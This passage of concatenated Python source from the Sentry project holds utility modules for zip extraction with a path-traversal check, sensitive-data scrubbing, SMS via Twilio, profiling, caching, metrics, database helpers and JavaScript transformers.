    ".!#$%&'*+-/=?^_`{|}~"
)


def is_valid_dot_atom(value):
    """Validate an input string as an RFC 2822 dot-atom-text value."""
    return (isinstance(value, six.string_types)  # must be a string type
        and not value[0] == '.'
        and not value[-1] == '.'  # cannot start or end with a dot
        and set(value).issubset(valid_dot_atom_characters))  # can only contain valid characters


def count_sprintf_parameters(string):
    """Counts the number of sprintf parameters in a string."""
    return len(_sprintf_placeholder_re.findall(string))






from __future__ import absolute_import

from django.utils.functional import empty


def extract_lazy_object(lo):
    """
    Unwrap a LazyObject and return the inner object. Whatever that may be.

    ProTip: This is relying on `django.utils.functional.empty`, which may
    or may not be removed in the future. It's 100% undocumented.
    """
    if not hasattr(lo, '_wrapped'):
        return lo
    if lo._wrapped is empty:
        lo._setup()
    return lo._wrapped






from __future__ import absolute_import

import sys
import time

from cProfile import Profile
from pstats import Stats
from functools import update_wrapper


def profile_call(_func, *args, **kwargs):
    p = Profile()
    rv = []
    p.runcall(lambda: rv.append(_func(*args, **kwargs)))
    p.dump_stats('/tmp/sentry-%s-%s.prof' % (time.time(), _func.__name__))

    stats = Stats(p, stream=sys.stderr)
    stats.sort_stats('time', 'calls')
    stats.print_stats()
    return rv[0]


def profile(func):
    def newfunc(*args, **kwargs):
        return profile_call(func, *args, **kwargs)
    return update_wrapper(newfunc, func)






from __future__ import absolute_import

import logging
import requests

from six.moves.urllib.parse import quote

from sentry import options


logger = logging.getLogger(__name__)


def sms_available():
    return bool(options.get('sms.twilio-account'))


def send_sms(body, to, from_=None):
    account = options.get('sms.twilio-account')
    if not account:
        raise RuntimeError('SMS backend is not configured.')
    if account[:2] != 'AC':
        account = 'AC' + account
    url = 'https://api.twilio.com/2010-04-01/Accounts/%s/Messages.json' % \
        quote(account)
    rv = requests.post(url, auth=(account,
                             options.get('sms.twilio-token')), data={
        'To': to,
        'From': options.get('sms.twilio-number'),
        'Body': body,
    })
    if not rv.ok:
        logging.exception('Failed to send text message to %s: (%s) %s', to,
                          rv.status_code, rv.content)
        return False
    return True






from __future__ import absolute_import

import os
import six
import shutil
import zipfile


def is_unsafe_path(path):
    if os.path.isabs(path):
        return True
    for segment in path.split(os.path.sep):
        if segment == os.path.pardir:
            return True
    return False


def find_common_prefix(members):
    qualifying_members = []
    for member in members:
        pieces = member.split('/')
        if pieces and pieces[0].startswith('.'):
            continue
        qualifying_members.append(pieces)

    rv = os.path.commonprefix(qualifying_members)
    if rv:
        return rv[0] + '/'
    return ''


def safe_extract_zip(f, path, strip_toplevel=True):
    """Safely extract a given zip file to a path.  The zipfile can either
    be an open file or a filename.  If the zip is unsafe an exception is
    raised.  Optionally the toplevel folder is stripped off.  If there are
    hidden files on toplevel then, these are silently ignored.
    """
    close = False
    if not isinstance(f, zipfile.ZipFile):
        close = isinstance(f, six.string_types)
        zf = zipfile.ZipFile(f, 'r')
    else:
        zf = f
    try:
        members = zf.namelist()
        if strip_toplevel:
            prefix = find_common_prefix(members)
        else:
            prefix = ''
        for member in members:
            # Skip directories
            if member.endswith('/'):
                continue

            if not member.startswith(prefix) or \
               is_unsafe_path(member):
                continue
            dst_path = os.path.join(path, member[len(prefix):])
            try:
                os.makedirs(os.path.dirname(dst_path))
            except OSError:
                pass
            with open(dst_path, 'wb') as df:
                with zf.open(member) as sf:
                    shutil.copyfileobj(sf, df)
    finally:
        if close:
            zf.close()






"""
sentry.utils.data_scrubber
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import re
import six

from sentry.constants import DEFAULT_SCRUBBED_FIELDS, FILTER_MASK


def varmap(func, var, context=None, name=None):
    """
    Executes ``func(key_name, value)`` on all values
    recurisively discovering dict and list scoped
    values.
    """
    if context is None:
        context = set()

    objid = id(var)
    if objid in context:
        return func(name, '<...>')
    context.add(objid)

    if isinstance(var, dict):
        ret = dict((k, varmap(func, v, context, k)) for k, v in six.iteritems(var))
    elif isinstance(var, (list, tuple)):
        # treat it like a mapping
        if all(isinstance(v, (list, tuple)) and len(v) == 2 for v in var):
            ret = [[k, varmap(func, v, context, k)] for k, v in var]
        else:
            ret = [varmap(func, f, context, name) for f in var]
    else:
        ret = func(name, var)
    context.remove(objid)
    return ret


class SensitiveDataFilter(object):
    """
    Asterisk out things that look like passwords, credit card numbers,
    and API keys in frames, http, and basic extra data.
    """
    # http://www.richardsramblings.com/regex/credit-card-numbers/
    VALUES_RE = re.compile(r'\b(?:3[47]\d|(?:4\d|5[1-5]|65)\d{2}|6011)\d{12}\b')
    URL_PASSWORD_RE = re.compile(r'\b((?:[a-z0-9]+:)?//[^:]+:)([^@]+)@')

    def __init__(self, fields=None, include_defaults=True):
        if fields:
            fields = tuple(fields)
        else:
            fields = ()
        if include_defaults:
            fields += DEFAULT_SCRUBBED_FIELDS
        self.fields = set(fields)

    def apply(self, data):
        # TODO(dcramer): move this into each interface
        if 'sentry.interfaces.Stacktrace' in data:
            self.filter_stacktrace(data['sentry.interfaces.Stacktrace'])

        if 'sentry.interfaces.Exception' in data:
            for exc in data['sentry.interfaces.Exception']['values']:
                if exc.get('stacktrace'):
                    self.filter_stacktrace(exc['stacktrace'])

        if 'sentry.interfaces.Breadcrumbs' in data:
            for crumb in data['sentry.interfaces.Breadcrumbs'].get('values') or ():
                self.filter_crumb(crumb)

        if 'sentry.interfaces.Http' in data:
            self.filter_http(data['sentry.interfaces.Http'])

        if 'extra' in data:
            data['extra'] = varmap(self.sanitize, data['extra'])

    def sanitize(self, key, value):
        if value is None:
            return

        if isinstance(value, six.string_types):
            if self.VALUES_RE.search(value):
                return FILTER_MASK

            # Check if the value is a url-like object
            # that contains a password
            # e.g. postgres://foo:password@example.com/db
            if '//' in value and '@' in value:
                value = self.URL_PASSWORD_RE.sub(r'\1' + FILTER_MASK + '@', value)

        if isinstance(key, six.string_types):
            key = key.lower()
        else:
            key = ''

        original_value = value
        if isinstance(value, six.string_types):
            value = value.lower()
        else:
            value = ''

        for field in self.fields:
            if field in key or field in value:
                # store mask as a fixed length for security
                return FILTER_MASK
        return original_value

    def filter_stacktrace(self, data):
        if 'frames' not in data:
            return
        for frame in data['frames']:
            if 'vars' not in frame:
                continue
            frame['vars'] = varmap(self.sanitize, frame['vars'])

    def filter_http(self, data):
        for n in ('data', 'cookies', 'headers', 'env', 'query_string'):
            if n not in data:
                continue

            if isinstance(data[n], six.string_types) and '=' in data[n]:
                # at this point we've assumed it's a standard HTTP query
                querybits = []
                for bit in data[n].split('&'):
                    chunk = bit.split('=')
                    if len(chunk) == 2:
                        querybits.append((chunk[0], self.sanitize(*chunk)))
                    else:
                        querybits.append(chunk)

                data[n] = '&'.join('='.join(k) for k in querybits)
            else:
                data[n] = varmap(self.sanitize, data[n])

    def filter_crumb(self, data):
        for key in 'data', 'message':
            val = data.get(key)
            if val:
                data[key] = varmap(self.sanitize, val)






"""
sentry.utils.db
~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from django.conf import settings
from django.db import connections, DEFAULT_DB_ALIAS
from django.db.models.fields.related import SingleRelatedObjectDescriptor


def get_db_engine(alias='default'):
    value = settings.DATABASES[alias]['ENGINE']
    if value == 'mysql.connector.django':
        return 'mysql'
    return value.rsplit('.', 1)[-1]


def is_postgres(alias='default'):
    engine = get_db_engine(alias)
    return 'postgres' in engine


def is_mysql(alias='default'):
    engine = get_db_engine(alias)
    return 'mysql' in engine


def is_sqlite(alias='default'):
    engine = get_db_engine(alias)
    return 'sqlite' in engine


def has_charts(db):
    if is_sqlite(db):
        return False
    return True


def attach_foreignkey(objects, field, related=[], database=None):
    """
    Shortcut method which handles a pythonic LEFT OUTER JOIN.

    ``attach_foreignkey(posts, Post.thread)``

    Works with both ForeignKey and OneToOne (reverse) lookups.
    """

    if not objects:
        return

    if database is None:
        database = list(objects)[0]._state.db

    is_foreignkey = isinstance(field, SingleRelatedObjectDescriptor)

    if not is_foreignkey:
        field = field.field
        accessor = '_%s_cache' % field.name
        model = field.rel.to
        lookup = 'pk'
        column = field.column
        key = lookup
    else:
        accessor = field.cache_name
        field = field.related.field
        model = field.model
        lookup = field.name
        column = 'pk'
        key = field.column

    objects = [o for o in objects if (related or getattr(o, accessor, False) is False)]

    if not objects:
        return

    # Ensure values are unique, do not contain already present values, and are not missing
    # values specified in select_related
    values = set(filter(None, (getattr(o, column) for o in objects)))
    if values:
        qs = model.objects
        if database:
            qs = qs.using(database)
        if related:
            qs = qs.select_related(*related)

        if len(values) > 1:
            qs = qs.filter(**{'%s__in' % lookup: values})
        else:
            qs = [qs.get(**{lookup: six.next(iter(values))})]

        queryset = dict((getattr(o, key), o) for o in qs)
    else:
        queryset = {}

    for o in objects:
        setattr(o, accessor, queryset.get(getattr(o, column)))


def table_exists(name, using=DEFAULT_DB_ALIAS):
    return name in connections[using].introspection.table_names()






"""
sentry.utils.math
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, division

import math


def mean(values):
    return sum(values) / len(values)


def stddev(values, mean_=None):
    if mean_ is None:
        mean_ = mean(values)

    n = 0
    for val in values:
        n += (val - mean_) ** 2
    n = math.sqrt(n / float(len(values) - 1))
    return n


def median(values):
    values = sorted(values)
    size = len(values)
    if size % 2 == 1:
        return values[int((size - 1) / 2)]
    return (values[int(size / 2 - 1)] + values[int(size / 2)]) / 2


def mad(values, K=1.4826):
    # http://en.wikipedia.org/wiki/Median_absolute_deviation
    med = median(values)
    return K * median([abs(val - med) for val in values])






from __future__ import absolute_import

import six

from collections import defaultdict
from Queue import Queue, Empty
from threading import Thread


class Worker(Thread):
    def __init__(self, queue):
        Thread.__init__(self)
        self.queue = queue
        self.results = defaultdict(list)

    def run(self):
        while True:
            try:
                ident, func, args, kwargs = self.queue.get_nowait()
            except Empty:
                break

            try:
                result = func(*args, **kwargs)
                self.results[ident].append(result)
            except Exception as e:
                self.results[ident].append(e)
            finally:
                self.queue.task_done()

        return self.results


class ThreadPool(object):
    def __init__(self, workers=10):
        self.queue = Queue()
        self.workers = []
        self.tasks = []
        for worker in range(workers):
            self.workers.append(Worker(self.queue))

    def add(self, ident, func, args=None, kwargs=None):
        if args is None:
            args = ()
        if kwargs is None:
            kwargs = {}
        task = (ident, func, args, kwargs)
        self.tasks.append(ident)
        self.queue.put_nowait(task)

    def join(self):
        for worker in self.workers:
            worker.start()

        results = defaultdict(list)
        for worker in self.workers:
            worker.join()
            for k, v in six.iteritems(worker.results):
                results[k].extend(v)
        return results






"""
sentry.utils.cache
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import functools

from django.core.cache import cache


default_cache = cache


class memoize(object):
    """
    Memoize the result of a property call.

    >>> class A(object):
    >>>     @memoize
    >>>     def func(self):
    >>>         return 'foo'
    """

    def __init__(self, func):
        self.__name__ = func.__name__
        self.__module__ = func.__module__
        self.__doc__ = func.__doc__
        self.func = func

    def __get__(self, obj, type=None):
        if obj is None:
            return self
        d, n = vars(obj), self.__name__
        if n not in d:
            value = self.func(obj)
            d[n] = value
        value = d[n]
        return value


class cached_for_request(memoize):
    """
    Memoize the result of a for the duration of a request. If the system does
    not think it's in a request, the result is never saved.

    >>> class A(object):
    >>>     @memoize_for_request
    >>>     def func(self):
    >>>         return 'foo'
    """
    def _get_key(self, args, kwargs):
        return (self, tuple(args), tuple(kwargs.items()))

    def __call__(self, *args, **kwargs):
        from sentry.app import env

        request = env.request
        if not request:
            return self.func(*args, **kwargs)

        if not hasattr(request, '__func_cache'):
            data = request.__func_cache = {}
        else:
            data = request.__func_cache

        key = self._get_key(args, kwargs)

        if key not in data:
            value = self.func(*args, **kwargs)
            data[key] = value
        return data[key]

    def __get__(self, obj, type=None):
        return functools.partial(self.__call__, obj)






# NOTE: This is run external to sentry as well as part of the setup
# process.  Thus we do not want to import non stdlib things here.
from __future__ import absolute_import

import os
import json
import logging
import six

import sentry

from six.moves.urllib.request import urlopen

BASE_URL = 'https://docs.sentry.io/hosted/_platforms/{}'

# Also see INTEGRATION_DOC_FOLDER in setup.py
DOC_FOLDER = os.path.abspath(os.path.join(os.path.dirname(sentry.__file__),
                                          'integration-docs'))


"""
Looking to add a new framework/language to /settings/install?

In the appropriate client SDK repository (e.g. raven-js), edit docs/sentry-doc-config.json.
Add the new language/framework.

Example: https://github.com/getsentry/raven-js/blob/master/docs/sentry-doc-config.json

Once the docs have been deployed, you can run `sentry repair --with-docs` to pull down
the latest list of integrations and serve them in your local Sentry install.
"""

logger = logging.getLogger('sentry')


def dump_doc(path, data):
    fn = os.path.join(DOC_FOLDER, path + '.json')
    directory = os.path.dirname(fn)
    try:
        os.makedirs(directory)
    except OSError:
        pass
    with open(fn, 'wb') as f:
        json.dump(data, f, indent=2)
        f.write('\n')


def load_doc(path):
    if '/' in path:
        return None
    fn = os.path.join(DOC_FOLDER, path + '.json')
    try:
        with open(fn, 'rb') as f:
            return json.load(f)
    except IOError:
        return None


def get_integration_id(platform_id, integration_id):
    if integration_id == '_self':
        return platform_id
    return '{}-{}'.format(platform_id, integration_id)


def sync_docs():
    print('syncing documentation (platform index)')
    body = urlopen(BASE_URL.format('_index.json')).read().decode('utf-8')
    data = json.loads(body)
    platform_list = []
    for platform_id, integrations in six.iteritems(data['platforms']):
        platform_list.append({
            'id': platform_id,
            'name': integrations['_self']['name'],
            'integrations': [
                {
                    'id': get_integration_id(platform_id, i_id),
                    'name': i_data['name'],
                    'type': i_data['type'],
                    'link': i_data['doc_link'],
                } for i_id, i_data in sorted(
                    six.iteritems(integrations),
                    key=lambda x: x[1]['name']
                )
            ],
        })

    platform_list.sort(key=lambda x: x['name'])

    dump_doc('_platforms', {'platforms': platform_list})

    for platform_id, platform_data in six.iteritems(data['platforms']):
        for integration_id, integration in six.iteritems(platform_data):
            sync_integration_docs(platform_id, integration_id,
                                  integration['details'])


def sync_integration_docs(platform_id, integration_id, path):
    print('  syncing documentation for %s.%s integration' % (
        platform_id, integration_id
    ))

    data = json.load(urlopen(BASE_URL.format(path)))

    key = get_integration_id(platform_id, integration_id)

    dump_doc(key, {
        'id': key,
        'name': data['name'],
        'html': data['body'],
        'link': data['doc_link'],
    })






"""
sentry.utils
~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import


# Make sure to not import anything here.  We want modules below
# sentry.utils to be able to import without having to pull in django
# or other sources that might not exist.






"""
sentry.utils.yaml
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from functools import partial
from yaml import load as _load, dump as _dump
try:
    # Try to load bindings with libyaml if available
    from yaml import (
        CLoader as Loader,
        CDumper as Dumper,
        CSafeLoader as SafeLoader,
        CSafeDumper as SafeDumper,
    )
except ImportError:
    from yaml import (
        Loader, Dumper,
        SafeLoader, SafeDumper,
    )


load = partial(_load, Loader=Loader)
dump = partial(_dump, Dumper=Dumper)
safe_load = partial(_load, Loader=SafeLoader)
safe_dump = partial(_dump, Dumper=SafeDumper)






from __future__ import absolute_import

import six


def parse_addr(x):
    if x is None:
        return 0
    if isinstance(x, six.integer_types):
        return x
    if isinstance(x, six.string_types):
        if x[:2] == '0x':
            return int(x[2:], 16)
        return int(x)
    raise ValueError('Unsupported address format %r' % (x,))






from __future__ import absolute_import

__all__ = ['timing', 'incr']

from contextlib import contextmanager
from django.conf import settings
from random import random
from time import time
import logging


def get_default_backend():
    from sentry.utils.imports import import_string

    cls = import_string(settings.SENTRY_METRICS_BACKEND)

    return cls(**settings.SENTRY_METRICS_OPTIONS)

backend = get_default_backend()


def _get_key(key):
    prefix = settings.SENTRY_METRICS_PREFIX
    if prefix:
        return '{}{}'.format(prefix, key)
    return key


def _should_sample():
    sample_rate = settings.SENTRY_METRICS_SAMPLE_RATE

    return sample_rate >= 1 or random() >= 1 - sample_rate


def _sampled_value(value):
    sample_rate = settings.SENTRY_METRICS_SAMPLE_RATE
    if sample_rate < 1:
        value = int(value * (1.0 / sample_rate))
    return value


def _incr_internal(key, instance=None, tags=None, amount=1):
    from sentry.app import tsdb

    if _should_sample():
        amount = _sampled_value(amount)
        if instance:
            full_key = '{}.{}'.format(key, instance)
        else:
            full_key = key

        try:
            tsdb.incr(tsdb.models.internal, full_key, count=amount)
        except Exception:
            logger = logging.getLogger('sentry.errors')
            logger.exception('Unable to incr internal metric')


def incr(key, amount=1, instance=None, tags=None):
    sample_rate = settings.SENTRY_METRICS_SAMPLE_RATE
    _incr_internal(key, instance, tags, amount)
    try:
        backend.incr(key, instance, tags, amount, sample_rate)
    except Exception:
        logger = logging.getLogger('sentry.errors')
        logger.exception('Unable to record backend metric')


def timing(key, value, instance=None, tags=None):
    # TODO(dcramer): implement timing for tsdb
    # TODO(dcramer): implement sampling for timing
    sample_rate = settings.SENTRY_METRICS_SAMPLE_RATE
    try:
        backend.timing(key, value, instance, tags, sample_rate)
    except Exception:
        logger = logging.getLogger('sentry.errors')
        logger.exception('Unable to record backend metric')


@contextmanager
def timer(key, instance=None, tags=None):
    if tags is None:
        tags = {}

    start = time()
    try:
        yield tags
    except Exception:
        tags['result'] = 'failure'
        raise
    else:
        tags['result'] = 'success'
    finally:
        timing(key, time() - start, instance, tags)






"""
sentry.utils.safe
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import six

from django.conf import settings
from django.db import transaction

from sentry.utils.strings import truncatechars


def safe_execute(func, *args, **kwargs):
    # TODO: we should make smart savepoints (only executing the savepoint server
    # side if we execute a query)
    _with_transaction = kwargs.pop('_with_transaction', True)
    try:
        if _with_transaction:
            with transaction.atomic():
                result = func(*args, **kwargs)
        else:
            result = func(*args, **kwargs)
    except Exception as e:
        if hasattr(func, 'im_class'):
            cls = func.im_class
        else:
            cls = func.__class__

        func_name = getattr(func, '__name__', six.text_type(func))
        cls_name = cls.__name__

        logger = logging.getLogger('sentry.safe.%s' % (cls_name.lower(),))
        logger.error('%s.process_error', func_name, exc_info=True, extra={'exception': e})
    else:
        return result


def trim(value, max_size=settings.SENTRY_MAX_VARIABLE_SIZE, max_depth=3,
         object_hook=None, _depth=0, _size=0, **kwargs):
    """
    Truncates a value to ```MAX_VARIABLE_SIZE```.

    The method of truncation depends on the type of value.
    """
    options = {
        'max_depth': max_depth,
        'max_size': max_size,
        'object_hook': object_hook,
        '_depth': _depth + 1,
    }

    if _depth > max_depth:
        return trim(repr(value), _size=_size, max_size=max_size)

    elif isinstance(value, dict):
        result = {}
        _size += 2
        for k, v in six.iteritems(value):
            trim_v = trim(v, _size=_size, **options)
            result[k] = trim_v
            _size += len(six.text_type(trim_v)) + 1
            if _size >= max_size:
                break

    elif isinstance(value, (list, tuple)):
        result = []
        _size += 2
        for v in value:
            trim_v = trim(v, _size=_size, **options)
            result.append(trim_v)
            _size += len(six.text_type(trim_v))
            if _size >= max_size:
                break

    elif isinstance(value, six.string_types):
        result = truncatechars(value, max_size - _size)

    else:
        result = value

    if object_hook is None:
        return result
    return object_hook(result)


def trim_pairs(iterable, max_items=settings.SENTRY_MAX_DICTIONARY_ITEMS, **kwargs):
    max_items -= 1
    result = []
    for idx, item in enumerate(iterable):
        key, value = item
        result.append((key, trim(value, **kwargs)))
        if idx > max_items:
            return result
    return result


def trim_dict(value, max_items=settings.SENTRY_MAX_DICTIONARY_ITEMS, **kwargs):
    max_items -= 1
    for idx, key in enumerate(list(iter(value))):
        value[key] = trim(value[key], **kwargs)
        if idx > max_items:
            del value[key]
    return value






"""
sentry.utils.debug
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import cProfile
import re
import pstats
import six
import sys

from django.conf import settings
from django.http import HttpResponse
from six import StringIO


words_re = re.compile(r'\s+')

group_prefix_re = [
    re.compile(r"^.*/django/[^/]+"),
    re.compile(r"^(.*)/[^/]+$"),  # extract module path
    re.compile(r".*"),   # catch strange entries
]


class ProfileMiddleware(object):
    def can(self, request):
        if 'prof' not in request.GET:
            return False
        if settings.DEBUG:
            return True
        if hasattr(request, 'user') and request.is_superuser():
            return True
        return False

    def process_view(self, request, callback, callback_args, callback_kwargs):
        if not self.can(request):
            return
        self.prof = cProfile.Profile()

        return self.prof.runcall(callback, request, *callback_args, **callback_kwargs)

    def get_group(self, filename):
        for g in group_prefix_re:
            name = g.findall(filename)
            if name:
                return name[0]

    def get_summary(self, results_dict, total):
        results = [(item[1], item[0]) for item in six.iteritems(results_dict)]
        results.sort(reverse=True)
        results = results[:40]

        res = "      tottime\n"
        for item in results:
            res += "%4.1f%% %7.3f %s\n" % (100 * item[0] / total if total else 0, item[0], item[1])

        return res

    def normalize_paths(self, stats):
        import os.path
        from pstats import add_func_stats, func_std_string

        python_paths = sorted(sys.path, reverse=True)

        def rel_filename(filename):
            for path in python_paths:
                if filename.startswith(path):
                    return filename[len(path) + 1:]
            return os.path.basename(filename)

        def func_strip_path(func_name):
            filename, line, name = func_name
            return rel_filename(filename), line, name

        oldstats = stats.stats
        stats.stats = newstats = {}
        max_name_len = 0
        for func, (cc, nc, tt, ct, callers) in six.iteritems(oldstats):
            newfunc = func_strip_path(func)
            if len(func_std_string(newfunc)) > max_name_len:
                max_name_len = len(func_std_string(newfunc))
            newcallers = {}
            for func2, caller in six.iteritems(callers):
                newcallers[func_strip_path(func2)] = caller

            if newfunc in newstats:
                newstats[newfunc] = add_func_stats(
                    newstats[newfunc],
                    (cc, nc, tt, ct, newcallers))
            else:
                newstats[newfunc] = (cc, nc, tt, ct, newcallers)
        old_top = stats.top_level
        stats.top_level = new_top = {}
        for func in old_top:
            new_top[func_strip_path(func)] = None

        stats.max_name_len = max_name_len

        stats.fcn_list = None
        stats.all_callees = None
        return self

    def summary_for_files(self, stats_str):
        stats_str = stats_str.split("\n")[5:]

        mystats = {}
        mygroups = {}

        total = 0

        for s in stats_str:
            fields = words_re.split(s)
            if len(fields) == 7:
                time = float(fields[2])
                total += time
                filename = fields[6].split(":")[0]

                if filename not in mystats:
                    mystats[filename] = 0
                mystats[filename] += time

                group = self.get_group(filename)
                if group not in mygroups:
                    mygroups[group] = 0
                mygroups[group] += time

        return "\n" + \
               " ---- By file ----\n\n" + self.get_summary(mystats, total) + "\n" + \
               " ---- By group ---\n\n" + self.get_summary(mygroups, total) + \
               "\n"

    def process_response(self, request, response):
        if not self.can(request):
            return response

        out = StringIO.StringIO()
        old_stdout = sys.stdout
        sys.stdout = out

        stats = pstats.Stats(self.prof)
        self.normalize_paths(stats)
        stats.sort_stats('time', 'calls')
        stats.print_stats()

        sys.stdout = old_stdout
        stats_str = out.getvalue()

        content = "\n".join(stats_str.split("\n")[:40])
        content += "\n\n"
        content += self.summary_for_files(stats_str)

        return HttpResponse(content, 'text/plain')






"""A wait callback to allow psycopg2 cooperation with gevent.

Use `make_psycopg_green()` to enable gevent support in Psycopg.
"""

# Copyright (C) 2010 Daniele Varrazzo <daniele.varrazzo@gmail.com>
# and licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

from __future__ import absolute_import

import psycopg2
from psycopg2 import extensions

from gevent.socket import wait_read, wait_write


def make_psycopg_green():
    """Configure Psycopg to be used with gevent in non-blocking way."""
    if not hasattr(extensions, 'set_wait_callback'):
        raise ImportError(
            "support for coroutines not available in this Psycopg version (%s)"
            % psycopg2.__version__)

    extensions.set_wait_callback(gevent_wait_callback)


def gevent_wait_callback(conn, timeout=None):
    """A wait callback useful to allow gevent to work with Psycopg."""
    while 1:
        state = conn.poll()
        if state == extensions.POLL_OK:
            break
        elif state == extensions.POLL_READ:
            wait_read(conn.fileno(), timeout=timeout)
        elif state == extensions.POLL_WRITE:
            wait_write(conn.fileno(), timeout=timeout)
        else:
            raise psycopg2.OperationalError(
                "Bad result from poll: %r" % state)






"""
sentry.utils.javascript
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from collections import defaultdict
from datetime import timedelta
from django.core.urlresolvers import reverse
from django.utils import timezone
from django.utils.html import escape

from sentry.app import env, tsdb
from sentry.constants import TAG_LABELS
from sentry.models import (
    Group, GroupBookmark, GroupMeta, GroupTagKey, GroupSeen, GroupStatus,
    ProjectOption
)
from sentry.templatetags.sentry_plugins import get_legacy_annotations
from sentry.utils import json
from sentry.utils.db import attach_foreignkey
from sentry.utils.http import absolute_uri


transformers = {}


def has_sourcemap(event):
    if event.platform != 'javascript':
        return False
    data = event.data

    if 'sentry.interfaces.Exception' not in data:
        return False
    exception = data['sentry.interfaces.Exception']
    for value in exception['values']:
        stacktrace = value.get('stacktrace', {})
        for frame in stacktrace.get('frames', []):
            if 'sourcemap' in frame.get('data', {}):
                return True

    return False


def transform(objects, request=None):
    if request is None:
        request = getattr(env, 'request', None)
    if not objects:
        return objects
    elif not isinstance(objects, (list, tuple)):
        return transform([objects], request=request)[0]
    # elif isinstance(obj, dict):
    #     return dict((k, transform(v, request=request)) for k, v in six.iteritems(obj))
    t = transformers.get(type(objects[0]))

    if t:
        t.attach_metadata(objects, request=request)
        return [t(o, request=request) for o in objects]
    return objects


def to_json(obj, request=None):
    result = transform(obj, request=request)
    return json.dumps_htmlsafe(result)


def register(type):
    def wrapped(cls):
        transformers[type] = cls()
        return cls
    return wrapped


class Transformer(object):
    def __call__(self, obj, request=None):
        return self.transform(obj, request)

    def attach_metadata(self, objects, request=None):
        pass

    def transform(self, obj, request=None):
        return {}


@register(Group)
class GroupTransformer(Transformer):
    def attach_metadata(self, objects, request=None):
        from sentry.templatetags.sentry_plugins import handle_before_events

        attach_foreignkey(objects, Group.project, ['team'])

        GroupMeta.objects.populate_cache(objects)

        if request and objects:
            handle_before_events(request, objects)

        if request and request.user.is_authenticated() and objects:
            bookmarks = set(GroupBookmark.objects.filter(
                user=request.user,
                group__in=objects,
            ).values_list('group_id', flat=True))
            seen_groups = dict(GroupSeen.objects.filter(
                user=request.user,
                group__in=objects,
            ).values_list('group_id', 'last_seen'))
        else:
            bookmarks = set()
            seen_groups = {}

        if objects:
            end = timezone.now()
            start = end - timedelta(days=1)

            historical_data = tsdb.get_range(
                model=tsdb.models.group,
                keys=[g.id for g in objects],
                start=start,
                end=end,
            )
        else:
            historical_data = {}

        project_list = set(o.project for o in objects)
        tag_keys = set(['sentry:user'])
        project_annotations = {}
        for project in project_list:
            enabled_annotations = ProjectOption.objects.get_value(
                project, 'annotations', ['sentry:user'])
            project_annotations[project] = enabled_annotations
            tag_keys.update(enabled_annotations)

        annotation_counts = defaultdict(dict)
        annotation_results = GroupTagKey.objects.filter(
            group__in=objects,
            key__in=tag_keys,
        ).values_list('key', 'group', 'values_seen')
        for key, group_id, values_seen in annotation_results:
            annotation_counts[key][group_id] = values_seen

        for g in objects:
            g.is_bookmarked = g.pk in bookmarks
            g.historical_data = [x[1] for x in historical_data.get(g.id, [])]
            active_date = g.active_at or g.last_seen
            g.has_seen = seen_groups.get(g.id, active_date) > active_date
            g.annotations = []
            for key in sorted(tag_keys):
                if key in project_annotations[project]:
                    label = TAG_LABELS.get(key, key.replace('_', ' ')).lower() + 's'
                    try:
                        value = annotation_counts[key].get(g.id, 0)
                    except KeyError:
                        value = 0
                    g.annotations.append({
                        'label': label,
                        'count': value,
                    })

    def localize_datetime(self, dt, request=None):
        if not request:
            return dt.isoformat()
        elif getattr(request, 'timezone', None):
            return dt.astimezone(request.timezone).isoformat()
        return dt.isoformat()

    def transform(self, obj, request=None):
        status = obj.get_status()
        if status == GroupStatus.RESOLVED:
            status_label = 'resolved'
        elif status == GroupStatus.MUTED:
            status_label = 'muted'
        else:
            status_label = 'unresolved'

        version = obj.last_seen
        if obj.resolved_at:
            version = max(obj.resolved_at, obj.last_seen)
        version = int(version.strftime('%s'))

        d = {
            'id': six.text_type(obj.id),
            'count': six.text_type(obj.times_seen),
            'title': escape(obj.title),
            'message': escape(obj.message_short),
            'level': obj.level,
            'levelName': escape(obj.get_level_display()),
            'logger': escape(obj.logger),
            'permalink': absolute_uri(reverse('sentry-group', args=[obj.organization.slug, obj.project.slug, obj.id])),
